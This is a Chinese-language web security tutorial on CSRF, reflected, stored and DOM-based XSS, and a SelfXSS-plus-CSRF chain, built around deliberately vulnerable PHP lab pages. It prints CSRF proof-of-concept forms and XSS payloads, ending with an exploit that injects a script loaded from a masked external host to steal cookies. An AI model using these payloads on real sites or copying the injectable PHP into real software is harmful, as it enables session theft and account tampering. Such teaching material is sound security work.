龙空技术网

从XSS、CSRF到SelfXSS+CSRF组合拳经典案例剖析

Jadore 180

前言:

当前各位老铁们对“php xss csrf”可能比较注重,各位老铁们都需要分析一些“php xss csrf”的相关资讯。那么小编同时在网络上网罗了一些有关“php xss csrf””的相关知识,希望朋友们能喜欢,朋友们一起来了解一下吧!

#网络安全在我身边#

题记:今天给大家分享的是网络安全相关技术从XSS、CSRF到SelfXSS+CSRF组合拳经典案例剖析。

跨站请求伪造Cross-site request forgery(简称CSRF/XSRF)

原理:攻击者在用户未察觉的情况下凭借用户的身份向存在CSRF的网站发起恶意HTTP请求。

漏洞常见产生点:

1、后台管理,会员中心、用户添加、资料修改等

2、被引用的文件没有验证token和referer

案例:

用户登录模块login.html:

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>用户登录</title></head><body>    <form action="login.php" method="post">        账号:<input type="text" name="username"></br>        密码:<input type="password" name="password"></br>        <input type="submit" value="点击登录" name="login">    </form></body></html>

动态脚本语言接收输入的用户名密码并登录login.php:

<?phpheader("content-type:text/html;charset=utf-8");if(!isset($_POST['login'])) {    exit('illegal access!');}else{    $username = $_POST['username'];    $password = $_POST['password'];    include ('conn.php');    $sql = "SELECT * FROM user WHERE username='$username' and password='$password';";    $result = mysql_query($sql);    if($row = mysql_fetch_array($result)) {        session_start();        $_SESSION['username'] = $row['username'];        echo $_SESSION['username']. ",welcome!";        echo '<a href="reg.html">添加用户</a>';    }}

存在csrf的用户注册模块reg.html:

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>会员注册</title></head><body>    <form action="reg.php" method="post">    用户注册<br >    用户名:<input type="text" name="username"><br >    密码:<input type="password" name="password"><br >    <input type="submit" name="submit" value="添加用户"></form></body></html>

动态脚本语言接收输入的用户名密码并登录reg.php:

<?phpheader("content-type:text/html;charset=utf-8");session_start();if(!isset($_SESSION['username'])) {    echo '<script>alert("please login again!")</script>';    exit();}else{    $username = $_POST['username'];    $password = $_POST['password'];    include ('conn.php');    $sql = "INSERT INTO csrf VALUES ($username,$password)";    $result = mysql_query($sql);    if($result) {        echo '<script>alert("register success!")</script>';    }else{        echo '<script>alert("register fail!")</script>';    }}

数据库连接文件conn.php:

<?php$conn = mysql_connect("localhost","root","root");mysql_select_db("csrf",$conn);

使用reg.html添加用户时需要登录,因为reg.php会检验是否存在username的会话

我们在reg.html登录并抓包构造好POC,csrf.html:

<html>  <body>  <script>history.pushState('', '', '/')</script>    <form action="; method="POST">      <input type="hidden" name="username" value="hacker" />      <input type="hidden" name="password" value="123456" />      <input type="hidden" name="submit" value="�·»�Š �”¨�ˆ·" />      <input type="submit" value="Submit request" />    </form>  </body></html>

诱使用户点击csrf.html,成功注册

流程示意图:

跨站脚本攻击Cross Site Scripting(简称XSS)

原理:攻击者利用应用程序存在过滤不严的弱点输入可以显示在页面上对其他用户造成影响的恶意代码。

漏洞常见产生点:

参数无过滤并传入输出函数

1、搜索内容

2、发表文章

3、留言

4、评论回复

5、资料设置

1、反射型(输入–输出)案例:1、将前端获取的内容直接输出到浏览器页面

$content = $_GET['xss'];echo $content;

2、将前端获取的内容直接输出到HTML标签

<?php$content = $_GET['xss'];?><input type="text" value="<?php echo $content;?>">

闭合后的标签

<body><input type="text" value=""><script>alert(/xss/)</script>"></body>

3、将前端获取的内容直接输出到

<?php$content = $_GET['content'];?><script>    var xss = '<?php echo $content?>';    document.write(xss);</script>

2、存储型(输入–进入数据库–取出数据-输出)xss.php

<?phpheader("content-type:text/html;charset=utf-8");$content = $_POST['content'];$conn = mysql_connect("localhost","root","root");mysql_select_db("xss",$conn);if ($content != null) {    $sql = "INSERT INTO xss VALUES ('1','$content');";    $result = mysql_query($sql) or die('执行SQL语句失败'.mysql_error());}?><form action="" method="post">    <input type="text" name="content">    <input type="submit" value="提交"></form>

show.php

<?php$conn = mysql_connect("localhost","root","root");mysql_select_db("xss",$conn);$sql = "SELECT payload FROM xss where id=1";$result = mysql_query($sql);while($row = mysql_fetch_array($result)) {    echo $row['payload'];}

插入数据

显示

3、DOM型(可能是存储型也可能是反射型)数据流向:URL->浏览器案例:

<?php$content = $_GET['content'];?><input type="text" id="tid" value="<?php echo $content;?>"><div id="show">    <script>        var text = document.getElementById("tid");        var show = document.getElementById("show");        show.innerHTML = tid.value;    </script>
SelfXSS+CSRF组合拳

SelfXSS就是只能对本地客户端产生影响的跨站脚本攻击,举例简单来说,比如获取到的cookie是自己的,显然这并没有什么实际危害,但是一旦结合跨站请求伪造则会导致危害升级,并且成为存储型的跨站脚本攻击。

这里我做了个更改用户名的案例,漏洞常见产生点,账户修改信息处:

change1.php:

<?php    header("content-type:text/html;charset=utf-8");    session_start();    $conn = mysql_connect("localhost","root","root");    mysql_select_db("csrf",$conn);    $sql = "SELECT username FROM user WHERE id=1;";    $result = mysql_query($sql);    while($row = mysql_fetch_array($result)) {        echo "当前用户名:".$row['username']."\n";        $_SESSION['username'] = $row['username'];    }    echo '<form action="change.php" method="post">    用户名:<input type="text" name="username"><br >    <input type="submit" name="submit" value="修改用户名">';

change.php

<?phpheader("content-type:text/html;charset=utf-8");session_start();if(!isset($_SESSION['username'])) {    echo '<script>alert("请重新登录!")</script>';    exit();}else{    $username = $_POST['username'];    $conn = mysql_connect("localhost","root","root");    mysql_select_db("csrf",$conn);    $sql = "UPDATE user SET username='$username' WHERE username=username;";    $result = mysql_query($sql);    if($result) {        echo '<script>alert("修改用户名成功!")</script>';        include("change1.php");    }else{        echo '<script>alert("修改用户名失败!")</script>';    }}

首先我们打开change1.php

观察该页面可以看到修改用户名模块,尝试XSS,发现只是一个SelfXSS

由源代码可以知道该页面没有防止csrf,因此可以通过selfxss+csrf来扩大危害,也可从请求包看出

EXP如下:

<html>  <body>  <script>history.pushState('', '', '/')</script>    <form action="; method="POST">      <input type="hidden" name="username" value="<sCRiPt sRC=https://******/ZSeF></sCrIpT>" />      <input type="hidden" name="submit" value="修改用户名" />      <input type="submit" value="Submit request" />    </form>  </body></html>

诱使用户点击

成功取到cookie并且是存储型

标签: #php xss csrf